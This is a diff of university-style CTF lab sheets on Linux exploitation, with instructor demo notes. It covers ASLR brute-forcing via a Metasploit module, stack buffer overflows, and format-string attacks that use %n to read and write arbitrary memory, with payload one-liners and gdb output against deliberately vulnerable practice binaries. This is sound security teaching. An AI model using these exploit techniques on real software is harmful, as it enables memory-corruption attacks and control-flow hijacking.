- Ensure you convert your ==edit:Printflag-Address== to a little-endian hex byte string (e.g. "\xFF\xFF\xFF\xFF" rather than "0xFFFFFFFF")
|
||||
|
||||
==action: Update the exploit section to add a flag check function that exits when a flag is found and an infinite loop which attempts to set EIP to a known printflag() address:==
|
||||
|
||||
```ruby
|
||||
def flag_check(str)
|
||||
if (str != nil) && (str.is_a? String) && (str.include? "flag{")
|
||||
exit(1)
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
puts "A TCP based Metasploit module"
|
||||
|
||||
offset = "==edit:EIP-Offset-Value=="
|
||||
padding = "A" * offset
|
||||
eip = "==edit:Printflag-Address-as-Hex-Bytes==" # a known printflag address e.g. "\xFF\xFF\xFF\xFF"
|
||||
bad = padding + eip
|
||||
|
||||
while true
|
||||
connect
|
||||
banner = sock.get_once.to_s.strip
|
||||
print_status "Banner: #{banner}"
|
||||
sock.put bad + "\n\n"
|
||||
buf = sock.timed_read(500)
|
||||
puts "received #{buf}"
|
||||
flag_check(buf)
|
||||
buf = sock.timed_read(500)
|
||||
puts "received #{buf}"
|
||||
flag_check(buf)
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
==action: Run the exploit and cross your fingers!==
|
||||
|
||||
> Flag: Happy hacking!
|
||||
|
||||
As a bonus task - implement this brute-force attack using the Metasploit "brute" mixin. For more information on this, see:
|
||||
|
||||
- [https://www.offensive-security.com/metasploit-unleashed/exploit-mixins/](https://www.offensive-security.com/metasploit-unleashed/exploit-mixins/)
|
||||
- [https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/brute.rb](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/brute.rb)
|
||||
- GitHub provides a project-wide reference lookup which you can use to find example modules that include this mixin:
|
||||
|
||||
![][image-5]
|
||||
|
||||
## Conclusion {#conclusion}
|
||||
|
||||
At this point you have:
|
||||
|
||||
- **Learned how ASLR works**: Understanding Address Space Layout Randomization as a security mitigation that randomizes memory addresses of libraries, stack, and heap to prevent predictable exploitation. You've seen how ASLR makes it difficult for attackers to predict where code and data will be located in memory.
|
||||
|
||||
- **Learned how to bypass ASLR using**:
|
||||
- **Information leaks**: Techniques to extract memory addresses from the target application
|
||||
- **Brute force**: Systematic approaches to overcome randomization, including repeated exploitation attempts with different payload addresses
|
||||
|
||||
- **Practical experience**: Hands-on practice with real-world scenarios where ASLR protection is bypassed, understanding the limitations of security mitigations and how attackers adapt their techniques.
|
||||
|
||||
Well done!
|
||||
|
||||
[image-1]: {{ site.baseurl }}/assets/images/software_security_exploitation/7_linux_aslr_bypass/image-1.png
|
||||
[image-2]: {{ site.baseurl }}/assets/images/software_security_exploitation/7_linux_aslr_bypass/image-2.png
|
||||
[image-3]: {{ site.baseurl }}/assets/images/software_security_exploitation/7_linux_aslr_bypass/image-3.png
|
||||
[image-4]: {{ site.baseurl }}/assets/images/software_security_exploitation/7_linux_aslr_bypass/image-4.png
|
||||
[image-5]: {{ site.baseurl }}/assets/images/software_security_exploitation/7_linux_aslr_bypass/image-5.png
|
||||
305
_labs/software_security_exploitation/8_linux_bof_format.md
Normal file
@@ -0,0 +1,305 @@
|
||||
---
|
||||
title: "Linux Buffer Overflows and Advanced Format String Attacks"
|
||||
author: ["Thomas Shaw"]
|
||||
license: "CC BY-SA 4.0"
|
||||
description: "Learn advanced software security exploitation techniques including format string attacks and buffer overflow vulnerabilities on Linux systems."
|
||||
overview: |
|
||||
In this lab, you will face some additional challenges designed to help you develop your understanding of software security and vulnerabilities. You will learn how to perform Format String Attacks, a type of vulnerability that allows attackers to manipulate the memory of a program by exploiting how it handles format specifiers. Additionally, you will further explore Buffer Overflows, a common security issue that arises when programs do not properly manage memory, leading to the overwriting of critical data.
|
||||
tags: ["buffer-overflow", "format-string", "exploitation", "linux", "assembly", "gdb"]
|
||||
categories: ["software_security_exploitation"]
|
||||
lab_sheet_url: "https://docs.google.com/document/d/1Ap-h6YSDtfU4bLwiKhxP5x2nf1vjSJ2V2zEL5wzW84U/edit?usp=sharing"
|
||||
type: ["ctf-lab", "lab-sheet"]
|
||||
difficulty: "advanced"
|
||||
cybok:
|
||||
- ka: "SS"
|
||||
topic: "Categories of Vulnerabilities"
|
||||
keywords: ["memory management vulnerabilities", "Stack smashing buffer overflows", "Format string attacks"]
|
||||
- ka: "MAT"
|
||||
topic: "Attacks and exploitation"
|
||||
keywords: ["EXPLOITATION", "EXPLOITATION FRAMEWORKS", "Exploit development", "Metasploit Framework development"]
|
||||
---
|
||||
|
||||
## Lab overview {#lab-overview}
|
||||
|
||||
This week’s topic involves a practical exploration of exploits on Linux based systems. The practical challenges involve exploiting **buffer overflow vulnerabilities** and a **format string vulnerability**. Three flags are available from MetaCTF challenges, two for challenges involving buffer overflows and one which requires you to perform a more advanced format string attack.
|
||||
|
||||
## Format String Attacks {#format-string-attacks}
|
||||
|
||||
==VM: On your Desktop Debian Linux VM==
|
||||
|
||||
==action: Browse the challenges directory==
|
||||
|
||||
```bash
|
||||
ls ~/challenges
|
||||
```
|
||||
|
||||
When you run each program it will give you instructions and hints on how to solve the challenge.
|
||||
|
||||
==action: Run each of the challenges (always after changing to the directory first)==:
|
||||
|
||||
Following on from prior labs, this week includes another format string challenge. Similar to the previous challenges, this executable was compiled with stack protections and ASLR disabled.
|
||||
|
||||
## Direct Memory Access
|
||||
|
||||
The `$` symbol allows us to directly access a variable on the stack.
|
||||
|
||||
==action: Experiment with the input in order to see which element on the stack we control==. We can do this with our direct memory lookup (`$`) rather than manually calculating the offset.
|
||||
|
||||
==hint: e.g. "AAAA%4$08x"==
|
||||
|
||||
```bash
|
||||
cd Ch3_Format5_nTargetWrite/
|
||||
```
|
||||
|
||||
```bash
|
||||
./Ch3_Format5_nTargetWrite
|
||||
```
|
||||
```
|
||||
Previously, we placed the address to write to onto the stack so that it
|
||||
was easy to discover and target with %n. Unfortunately, this will not
|
||||
always be present. However, because the input string being used in the
|
||||
printf call is usually stored on the stack, it is possible to inject the
|
||||
address we want to write into as part of our input and then use a targeted
|
||||
%n to write into the injected address. To do so, you will first locate
|
||||
where the input string characters are located on the stack relative to
|
||||
the vulnerable printf call by injecting a well-known string and then using
|
||||
a series of %x format specifiers to determine its offset on the stack from
|
||||
the printf call. To do so, use an input string similar to:
|
||||
"ABCD-%x-%x-%x-%x-%x...."
|
||||
Look at the resultant output to see where the hexadecimal representation
|
||||
of ABCD appears (e.g. 44434241 for little-endian machines). Once we find
|
||||
our input on the stack, note its parameter number since this is the
|
||||
number we will then target with a subsequent %n. After noting this number
|
||||
we can then replace the "ABCD" part of the input with an actual address.
|
||||
At this point, we need to find what address to write to and the value
|
||||
we need to write. For this level, you are asked to overwrite a variable
|
||||
called key with a specific number. To determine the address of key and
|
||||
the value to write into it, examine the disassembly of the program.
|
||||
Locate the comparison that determines whether or not the level has been
|
||||
completed. The value of key is moved from a specific memory location
|
||||
to a register before being checked against a specific value. Note that
|
||||
we have made the address of this memory location representable as an ASCII
|
||||
string to make things easier for you to input as a string. By using this
|
||||
in place of ABCD, you will then be able to follow it with an appropriately
|
||||
calculated %<num1>x%<num2>$n to solve the level.
|
||||
|
||||
The key should equal to 265.
|
||||
Enter the password:
|
||||
```
|
||||
|
||||
[Click here for some additional notes and tips for this challenge.](../8-notes/)
|
||||
|
||||
## Buffer Overflows on Linux Systems {#buffer-overflows-on-linux-systems}
|
||||
|
||||
Some programming languages require the programmer to manually manage memory. This involves defining how much memory is allocated for a variable to store data in. Programmers can make incorrect assumptions whilst reserving memory for variable-length pieces of data.
|
||||
|
||||
If a user can supply data which is insecurely copied to a memory location which is not large enough to contain it, adjacent memory can be overwritten.
|
||||
|
||||
If the memory location being written to is stored on the stack (i.e. as a local function variable or a function parameter), adjacent memory may contain critical data that is used in the control flow of the program. A prime example of this is the return address, which is pushed onto the stack when a function is called so that the program knows where to return to. If we can overwrite this address, we can make the program return to another location.
|
||||
|
||||
## Buffer overflow CTF challenges {#buffer-overflow-ctf-challenges}
|
||||
|
||||
```bash
|
||||
cd Ch3_07_StackSmash/
|
||||
```
|
||||
|
||||
```bash
|
||||
./Ch3_07_StackSmash
|
||||
```
|
||||
```
|
||||
One way attackers used to leverage buffer overflow bugs to gain control of
|
||||
a running program is to overwrite the return address of the function being
|
||||
executed on the stack. When the function returns, it returns to an address
|
||||
the attacker chooses. In this level, you are to overflow the buffer being
|
||||
used to read in the password in a way that overwrites the return address of
|
||||
the function it is in (unsafe_input). A quick strategy to determine the
|
||||
size of the unsafe buffer is to "fuzz" the program with a large sequence
|
||||
of characters such as (AABBCCDDEEFFGG...) and see which ones appear during
|
||||
critical execution points such as the return from unsafe_input. To simplify
|
||||
the task of corrupting the return address, the location of the call you want
|
||||
to return to that unlocks the program is in the ASCII range. Be mindful of
|
||||
endianness and ensure that you only overwrite the low 32-bits to point to
|
||||
the function you want to return to.
|
||||
|
||||
Enter the password:
|
||||
```
|
||||
|
||||
|
||||
```bash
|
||||
cd Ch3_07_ScanfOverflow//
|
||||
```
|
||||
|
||||
```bash
|
||||
./Ch3_07_ScanfOverflow
|
||||
```
|
||||
```
|
||||
When receiving input from a user, it is important to limit the number
|
||||
of characters accepted so that the input buffer does not overflow.
|
||||
This level has the following code that is vulnerable to a buffer overflow.
|
||||
char buff[N];
|
||||
char guess[N];
|
||||
strncpy(guess,"REPLACE",8));
|
||||
.....
|
||||
scanf("%s",buff);
|
||||
if(strcmp(guess,password)==0)
|
||||
In the code, the password variable stores the password and the guess
|
||||
variable is filled in with the string REPLACE. The strcmp is thus setup
|
||||
to always fail. However, the user's input buffer (buff) is vulnerable to
|
||||
overflow since the scanf does not have a length delimiter associated
|
||||
with it. In this case, characters beyond buff will end up in guess.
|
||||
Using the debugger, find what the password is, then determine the number
|
||||
of bytes needed to overflow the buffer. Finally, generate an input that
|
||||
will overflow buff to place the password in guess.
|
||||
|
||||
Enter the password:
|
||||
```
|
||||
|
||||
> Tip: This challenge has a vulnerable scanf() call, within the user_input(param) function. The function call is vulnerable as there is no bounds checking and the user controls the input string. We are reading from stdin and storing the value in buff[n]. We can pass more than n characters into buff[], leading to a buffer overflow vulnerability. This allows us to overwrite contiguous memory. First off you should run the program within gdb, e.g. gdb -q ./Ch3_07_ScanfOverflow (the -q flag is 'quiet mode' which doesn't print the long copyright intro text) If we disassemble main we can see that there is a call to user_input at main <+160>:
|
||||
|
||||
```bash
|
||||
serpent@p-26-220-10-vIM8-5-linux-bof-format-metactf-desktop:~\~/challenges/Ch3_07_ScanfOverflow$ gdb -q ./Ch3_07_ScanfOverflow
|
||||
```
|
||||
|
||||
```bash
|
||||
Reading symbols from ./Ch3_07_ScanfOverflow...(no debugging symbols found)...done.
|
||||
```
|
||||
|
||||
```bash
|
||||
(gdb) disassemble main
|
||||
```
|
||||
|
||||
```nasm
|
||||
Dump of assembler code for function main:
|
||||
...
|
||||
0x000000000040138b <+153>: lea rax,[rbp-0x10]
|
||||
0x000000000040138f <+157>: mov rdi,rax
|
||||
0x0000000000401392 <+160>: call 0x4011b2 <user_input>
|
||||
...
|
||||
End of assembler dump.
|
||||
```
|
||||
|
||||
The main function contains some print statements and this user_input call, which has 1 parameter. This parameter is stored in `$rdi` before the function is called (per the x86_64 linux calling conventions).
|
||||
|
||||
```bash
|
||||
(gdb) x/s $rdi
|
||||
```
|
||||
|
||||
```bash
|
||||
0x7fffffffdfd0: "M2Y4MDg4\b"
|
||||
```
|
||||
|
||||
> Note: Interesting looking string, probably our password...
|
||||
|
||||
==action: We should then disassemble user_input to see what's happening inside the function==.
|
||||
|
||||
```bash
|
||||
(gdb) disassemble user_input
|
||||
```
|
||||
|
||||
```nasm
|
||||
Dump of assembler code for function user_input:
|
||||
...
|
||||
0x00000000004011fb <+73>: lea rax,[rbp-0x10]
|
||||
0x00000000004011ff <+77>: mov rsi,rdx
|
||||
0x0000000000401202 <+80>: mov rdi,rax
|
||||
0x0000000000401205 <+83>: call 0x4010a0 <strcmp@plt>
|
||||
0x000000000040120a <+88>: test eax,eax
|
||||
0x000000000040120c <+90>: jne 0x401224 <user_input+114>
|
||||
0x000000000040120e <+92>: mov edi,0x40201c
|
||||
0x0000000000401213 <+97>: call 0x401040 <puts@plt>
|
||||
0x0000000000401218 <+102>: mov eax,0x0
|
||||
0x000000000040121d <+107>: call 0x401231 <printflag>
|
||||
0x0000000000401222 <+112>: jmp 0x40122e <user_input+124>
|
||||
0x0000000000401224 <+114>: mov edi,0x402026
|
||||
0x0000000000401229 <+119>: call 0x401040 <puts@plt>
|
||||
...
|
||||
End of assembler dump.
|
||||
```
|
||||
|
||||
Next we should figure out what's happening here. We want to work backwards from our printflag call + try figure out what we need to provide to get there. `<+83>` is a call to strcmp, comparing the contents of `$rsi` and `$rdi` `<+90>` is a jump-not-equal instruction, which jumps to `<+114>` if the strings do not match `<+107>` is our call to printflag (win function), which runs if the strings match `<+114>` loads some data into `$edi`, which is used as a parameter for... `<+119>` printing the 'Try again' message. So... we need to find out how `$rsi` and `$rdi` are populated prior to this strcmp call at user_input `<+83>`.
|
||||
|
||||
==action: Let's set a breakpoint at the strcmp call at 0x0000000000401205, then inspect the registers without any input that would overflow the buffer==:
|
||||
|
||||
```bash
|
||||
(gdb) break *0x0000000000401205
|
||||
```
|
||||
|
||||
```bash
|
||||
Breakpoint 2 at 0x401205
|
||||
```
|
||||
|
||||
```bash
|
||||
(gdb) c
|
||||
```
|
||||
|
||||
```bash
|
||||
Continuing.
|
||||
|
||||
Enter the password: asdf
|
||||
```
|
||||
|
||||
```bash
|
||||
Breakpoint 2, 0x0000000000401205 in user_input ()
|
||||
```
|
||||
|
||||
```bash
|
||||
(gdb) x/s $rsi
|
||||
```
|
||||
|
||||
```bash
|
||||
0x7fffffffdfd0: "M2Y4MDg4\b"
|
||||
```
|
||||
|
||||
```bash
|
||||
(gdb) x/s $rdi
|
||||
```
|
||||
|
||||
```bash
|
||||
0x7fffffffdfa0: "REPLACE"
|
||||
```
|
||||
|
||||
> Note: OK so we can see that the 2 parameters to strcmp contain the password, with a \b character (which is odd...) and the string REPLACE
|
||||
|
||||
Now we've got our breakpoint set up, we can pass in a long pattern string to see which of these registers we're influencing (and here's the misleading part...)
|
||||
|
||||
```bash
|
||||
(gdb) r <<< $(printf "AAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO")
|
||||
```
|
||||
|
||||
```bash
|
||||
The program being debugged has been started already.
|
||||
|
||||
Start it from the beginning? (y or n) y
|
||||
```
|
||||
|
||||
```bash
|
||||
Starting program: /home/serpent/challenges/Ch3_07_ScanfOverflow/Ch3_07_ScanfOverflow <<< $(printf "AAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO")
|
||||
```
|
||||
|
||||
```bash
|
||||
...
|
||||
|
||||
Breakpoint 1, 0x0000000000401392 in main ()
|
||||
```
|
||||
|
||||
```bash
|
||||
(gdb) c
|
||||
```
|
||||
|
||||
```bash
|
||||
Continuing.
|
||||
|
||||
Breakpoint 2, 0x0000000000401205 in user_input () (gdb) x/s $rsi 0x7fffffffdfd0: "JJJJKKKKLLLLMMMMNNNNOOOO" (gdb) x/s $rdi 0x7fffffffdfa0: "REPLACE"
|
||||
```
|
||||
|
||||
> Note: The `$rdi` and `$rsi` registers above contain the parameters that get passed to the strcmp function (i.e. the two strings that are being compared). Note that our input ends up in rsi whereas the string replace ends up in rdi rather than the password.
|
||||
|
||||
## Conclusion {#conclusion}
|
||||
|
||||
At this point you have:
|
||||
|
||||
* Written a format string attack to overwrite a variable with a memory address
|
||||
|
||||
* Exploited some buffer overflows on Linux
|
||||
|
||||
Well done!
|
||||
477
_labs/software_security_exploitation/8_notes.md
Normal file
@@ -0,0 +1,477 @@
|
||||
---
|
||||
title: "Notes for Ch3_Format5"
|
||||
author: ["Thomas Shaw"]
|
||||
license: "CC BY-SA 4.0"
|
||||
description: "Notes for Ch3_Format5."
|
||||
overview: |
|
||||
Notes for Ch3_Format5.
|
||||
tags: ["buffer-overflow", "format-string", "exploitation", "linux", "assembly", "gdb"]
|
||||
categories: ["software_security_exploitation"]
|
||||
lab_sheet_url: "https://docs.google.com/document/d/1Ap-h6YSDtfU4bLwiKhxP5x2nf1vjSJ2V2zEL5wzW84U/edit?usp=sharing"
|
||||
type: ["ctf-lab", "lab-sheet"]
|
||||
difficulty: "advanced"
|
||||
cybok:
|
||||
- ka: "SS"
|
||||
topic: "Categories of Vulnerabilities"
|
||||
keywords: ["memory management vulnerabilities", "Format string attacks"]
|
||||
---
|
||||
|
||||
# Notes for Ch3_Format5
|
||||
|
||||
Setup notes:
|
||||
We needed to disable ASLR. This was achieved by setting the /proc/sys/kernel/randomize_va_space to "0".
|
||||
|
||||
Make note of the paramter number that hits our AAAA's:
|
||||
"AAAA%4$08x" --> AAAA41414141
|
||||
|
||||
So... the fourth parameter is our format string
|
||||
|
||||
Now we know this, we can replace the start of our format string with an actual address that we want to write to.
|
||||
|
||||
So where do we want to write to?
|
||||
The `key` variable
|
||||
|
||||
We want to disassemble the program to determine the address of the key.
|
||||
|
||||
When we ran the program, we saw that the program wanted us to set the value of the key to 36.
|
||||
|
||||
If we disassemble main, we can see that there is the following cmp instruction, comparing the contents of eax to 0x24 (which is dec 36):
|
||||
|
||||
0x56654520 <+186>: cmp eax,0x24
|
||||
|
||||
|
||||
We need to work backwards from here + figure out what's getting stored in eax.
|
||||
|
||||
We will open it in Ghidra to get a better control flow graph.
|
||||
|
||||
This gives us a better understanding of what is going on. Essentially there's a format string vuln, then a conditional check on a variable 'key' to compare it to 0x24 (base 10 36).
|
||||
|
||||
We need to write the value 0x24 to the memory address of the key.
|
||||
|
||||
We can use gdb to find the address of the key. We first break at main, then run info add key.
|
||||
|
||||
You input: AAA
|
||||
The key is equal to 0.
|
||||
|
||||
Breakpoint 2, 0x56556520 in main ()
|
||||
(gdb) info add key
|
||||
Symbol "key" is at 0xb086935c in a file compiled without debugging.
|
||||
|
||||
Let's add that to the start of our format string exploit. Additionally, we need to ensure that we reverse the byte order to respect the endianness.
|
||||
|
||||
echo "$(printf "\x5c\x93\x86\xb0")%x%4\$n" > ../exploit_Ch3_Format5_nTargetWrite
|
||||
|
||||
./Ch3_Format5_nTargetWrite < ../exploit_Ch3_Format5_nTargetWrite
|
||||
|
||||
This command ended up writing the number of characters we've printed so far, 12, into the key variable!
|
||||
|
||||
|
||||
Hint: Play around with adjusting the padding to write the required value into key
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## Notes for demo:
|
||||
|
||||
### 1) Recap
|
||||
|
||||
We left with this program:
|
||||
```
|
||||
#include <stdio.h>
|
||||
|
||||
void printWrapper(char *string){
|
||||
printf(string); // <--- Bad use of printf()
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[]){
|
||||
|
||||
char print_me[5012];
|
||||
|
||||
fgets(print_me, 4096, stdin); // <--- User controls format string
|
||||
|
||||
printWrapper(print_me);
|
||||
|
||||
return(0);
|
||||
}
|
||||
```
|
||||
|
||||
demonstrative examples are compiled w/o memory protections, using:
|
||||
`sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space'`
|
||||
`gcc -no-pie -fno-pie -z execstack -z norelro -m32 -mpreferred-stack-boundary=2 -g demo.c -o demo`
|
||||
|
||||
|
||||
|
||||
### 2) Reading arbitrary memory
|
||||
|
||||
- Using the program from last week I am going to demonstrate how you can use the format string vulnerability in printf() to read any memory in the process' virtual address space.
|
||||
|
||||
- As we saw last time, we were able to print the contents of the stack. By passing in enough %08x templates, we saw that we were actually able to see the hexadecimal representation of our format string.
|
||||
|
||||
- We can see that here by adding AAAA at the start, and as we know ascii 'A' == 0x41
|
||||
|
||||
`echo "AAAA%08x.%08x.%08x.%08x" | ./demo`
|
||||
`AAAAffcb7768.080491b2.ffcb63d4.41414141`
|
||||
|
||||
This pops a value from the stack and prints the hex representation of it four times. In practice, the 41414141 shows us that the fourth parameter reads from the beginning of our format string.
|
||||
|
||||
As we know from last time, the %s template will print a string located at the memory address that it's popped from the top of the stack.
|
||||
|
||||
If we replaced the fourth %08x in our above example with a %s, the %s would attempt to print a string located at memory address 0x41414141. This address is not a valid address, so this would result in a segfault.
|
||||
|
||||
`echo "AAAA%08x.%08x.%08x.%s" | ./demo"`
|
||||
`Segmentation Fault`
|
||||
|
||||
If we replaced this 0x41414141 with a valid memory address, we could use the %s template to print out the contents of that memory address as a string.
|
||||
|
||||
|
||||
--- Finding PATH
|
||||
|
||||
We can run gdb to find the location that the PATH environment variable is loaded into memory.
|
||||
|
||||
`gdb -q ./demo`
|
||||
`break main`
|
||||
`r`
|
||||
`info var environ`
|
||||
`x/8s *((char**)environ)`
|
||||
e.g.
|
||||
```
|
||||
(gdb) x/8s *((char**)environ)
|
||||
0xffffd461: "SHELL=/bin/bash"
|
||||
0xffffd471: "SESSION_MANAGER=local/p-26-214-13-gtXA-1-c-asm-iof-desktop:@/tmp/.ICE-unix/759,unix/p-26-214-13-gtXA-1-c-asm-iof-desktop:/tmp/.ICE-unix/759"
|
||||
0xffffd4fd: "WINDOWID=37748743"
|
||||
0xffffd50f: "QT_ACCESSIBILITY=1"
|
||||
0xffffd522: "COLORTERM=truecolor"
|
||||
0xffffd536: "XDG_SESSION_PATH=/org/freedesktop/DisplayManager/Session0"
|
||||
0xffffd570: "LANGUAGE="
|
||||
0xffffd57a: "SSH_AUTH_SOCK=/tmp/ssh-SR0DqqfLGTPe/agent.628"
|
||||
```
|
||||
|
||||
0xffffd461 is the start of the env var string when we load it via gdb.
|
||||
|
||||
When we are running programs within gdb, there may be slight differences in the memory layout. This is usually due to different environment variables.
|
||||
|
||||
This is not actually going to accurately represent the memory location of PATH when we run it, as it's going to be at a slightly different location because the length of the parameter which contains the input we used to run the program will slightly offset it.
|
||||
|
||||
When we run with `gdb -q ./demo`, the env var SHELL is loaded into memory address `0xffffd43F`.
|
||||
|
||||
There are differences in the memory addresses when we run the executable via gdb. These are usually due to differences in the environment variables.
|
||||
|
||||
- GDB adds a 'LINES' and 'COUNT' env var, and also has a different length program name.
|
||||
- _ contains the path to the executable that was run, which is different depending on where we're running it from and whether we're running /usr/bin/gdb or /home/asdf/binary_path.
|
||||
|
||||
|
||||
We'll look at this in more detail in a later video, but for now we can figure it out by writing some additional code inside our program to print out the exact address.
|
||||
|
||||
```
|
||||
#include <stdio.h>
|
||||
|
||||
void printWrapper(char *string){
|
||||
printf(string); // <--- Bad use of printf()
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[]){
|
||||
|
||||
char print_me[5012];
|
||||
|
||||
fgets(print_me, 4096, stdin); // <--- User controls format string
|
||||
|
||||
printWrapper(print_me);
|
||||
|
||||
char* ptr = getenv("SHELL");
|
||||
printf("\n\nMemory address of SHELL environment variable @ 0x%08x\n", ptr);
|
||||
|
||||
return(0);
|
||||
}
|
||||
|
||||
|
||||
```
|
||||
|
||||
|
||||
When we run it with `./demo`, the env var SHELL is loaded into memory address `0xffffd468`.
|
||||
|
||||
`echo "$(printf '\x68\xd4\xff\xff')%08x %08x %08x %s" | ./demo`
|
||||
`h<><68><EFBFBD>ffffd228 080491b2 ffffbe94 SHELL=/bin/bash`
|
||||
|
||||
We can adjust to just print the /bin/bash string, which may be useful later.
|
||||
`echo "$(printf '\x6E\xd4\xff\xff')%08x %08x %08x %s" | ./demo`
|
||||
`i<><69><EFBFBD>ffffd218 080491b2 ffffbe84 /bin/bash`
|
||||
|
||||
|
||||
### 3) Writing to arbitrary memory
|
||||
|
||||
In order to demonstrate this, we will create a new variable in our demo program called `overwrite_me` and print out its address. We will then use a format string exploit to overwrite its value with something else.
|
||||
|
||||
```
|
||||
#include <stdio.h>
|
||||
|
||||
void printWrapper(char *string){
|
||||
printf(string); // <--- Bad use of printf()
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[]){
|
||||
|
||||
char print_me[5012];
|
||||
int overwrite_me = 0;
|
||||
|
||||
fgets(print_me, 4096, stdin); // <--- User controls format string
|
||||
|
||||
printWrapper(print_me);
|
||||
|
||||
char* ptr = getenv("SHELL");
|
||||
printf("\nMemory address of SHELL environment variable @ 0x%08x\n", ptr);
|
||||
|
||||
printf("Memory address of overwrite_me @ 0x%08x = %d 0x%08x\n", &overwrite_me, overwrite_me, overwrite_me);
|
||||
|
||||
return(0);
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
```
|
||||
./demo
|
||||
|
||||
|
||||
Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
|
||||
Memory address of overwrite_me @ 0xffffbe8c = 0 0x00000000
|
||||
|
||||
```
|
||||
|
||||
With the above code we're now able to see that the memory address of overwrite_me is at 0xffffbe8c and it contains the value 0.
|
||||
|
||||
We can use a similar technique with %n rather than %s, to write to arbitrary memory.
|
||||
|
||||
`echo "$(printf '\x8c\xbe\xff\xff')%08x %08x %08x %08x %n" | ./demo`
|
||||
```
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ffffd228 080491cc ffffbe90 00000000
|
||||
|
||||
|
||||
Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
|
||||
Memory address of overwrite_me @ 0xffffbe8c = 40 0x00000028
|
||||
```
|
||||
|
||||
The value 40 that we have written into `int overwrite_me` is calculated based on the amount of characters we printed up until that point. i.e. the length of the string: `"<22><><EFBFBD><EFBFBD>ffffd228 080491cc ffffbe90 00000000 "` in the example above.
|
||||
|
||||
|
||||
We can control this value easily if we adjust the field width option. We've been printing 8 hex characters with our %08x templates, but we can actually just adjust this 8 to a larger number to increase the amount of characters we print.
|
||||
|
||||
`echo "$(printf '\x8c\xbe\xff\xff')%x%x%x%x%n" | ./demo`
|
||||
```<60><><EFBFBD><EFBFBD>ffffd22880491ccffffbe900
|
||||
|
||||
|
||||
Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
|
||||
Memory address of overwrite_me @ 0xffffbe8c = 28 0x0000001c
|
||||
```
|
||||
|
||||
+1
|
||||
`echo "$(printf '\x8c\xbe\xff\xff')%x%x%x%2x%n" | ./demo`
|
||||
```
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ffffd22880491ccffffbe90 0
|
||||
|
||||
|
||||
Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
|
||||
Memory address of overwrite_me @ 0xffffbe8c = 29 0x0000001d
|
||||
```
|
||||
|
||||
+100, etc.
|
||||
|
||||
This works fine for small numbers, but not for large ones like memory addresses.
|
||||
|
||||
|
||||
### 4) Field-width specifier
|
||||
|
||||
If we look at the hex representation of the overwrite_me value, we can see that the end 2 values (i.e. the LSB) can be controlled quite well.
|
||||
|
||||
We can use multiple writes to the memory address of the integer that we're overwriting, offset by a byte each time, in order to write larger bits of data.
|
||||
|
||||
Lets try write 0xDDCCBBAA into our overwrite_me variable to demonstrate.
|
||||
|
||||
In order to do this, we'll need to write AA first, then BB, then CC, then DD.
|
||||
|
||||
**First write (AA):**
|
||||
|
||||
`echo "$(printf '\x8c\xbe\xff\xff')%x%x%x%8x%n" | ./demo`
|
||||
```
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ffffd22880491ccffffbe90 0
|
||||
|
||||
|
||||
Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
|
||||
Memory address of overwrite_me @ 0xffffbe8c = 35 0x00000023
|
||||
|
||||
```
|
||||
|
||||
When we run our original exploit string with 8 , we have 35 (or 0x23) in the LSB.
|
||||
|
||||
We can use gdb to calculate the number of characters we need to print before we hit the hex value for aa:
|
||||
|
||||
```
|
||||
(gdb) p 0xaa - 35 + 8
|
||||
$3 = 143
|
||||
```
|
||||
|
||||
`echo "$(printf '\x8c\xbe\xff\xff')%x%x%x%143x%n" | ./demo`
|
||||
|
||||
```
|
||||
Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
|
||||
Memory address of overwrite_me @ 0xffffbe8c = 170 0x000000aa
|
||||
```
|
||||
|
||||
|
||||
**Second write (BB):**
|
||||
|
||||
To write BB, we need another argument for another %x format parameter, that increments the byte count to 0xBB.
|
||||
|
||||
In order to do this we need the memory addresses that we're going to use for writes on the stack.
|
||||
|
||||
`$( printf '\x8c\xbe\xff\xffJUNK\x8d\xbe\xff\xffJUNK\x8e\xbe\xff\xffJUNK\x8f\xbe\xff\xff')%x%x%x%x8%n"`
|
||||
|
||||
```
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD>JUNK<EFBFBD><EFBFBD><EFBFBD><EFBFBD>JUNK<EFBFBD><EFBFBD><EFBFBD><EFBFBD>JUNK<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ffffd22880491ccffffbe9008
|
||||
|
||||
|
||||
Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
|
||||
Memory address of overwrite_me @ 0xffffbe8c = 53 0x00000035
|
||||
|
||||
```
|
||||
|
||||
As we can see, this sets 0x35 or d53 in overwrite me, and we want it to be 0xaa.
|
||||
We can use a width buffer of 119 characters in order to write aa to the LSB as before.
|
||||
`echo "$(printf '\x8c\xbe\xff\xffJUNK\x8d\xbe\xff\xffJUNK\x8e\xbe\xff\xffJUNK\x8f\xbe\xff\xff')%x%x%x%119x%n" | ./demo`
|
||||
```
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD>JUNK<EFBFBD><EFBFBD><EFBFBD><EFBFBD>JUNK<EFBFBD><EFBFBD><EFBFBD><EFBFBD>JUNK<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ffffd22880491ccffffbe90 0
|
||||
|
||||
|
||||
Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
|
||||
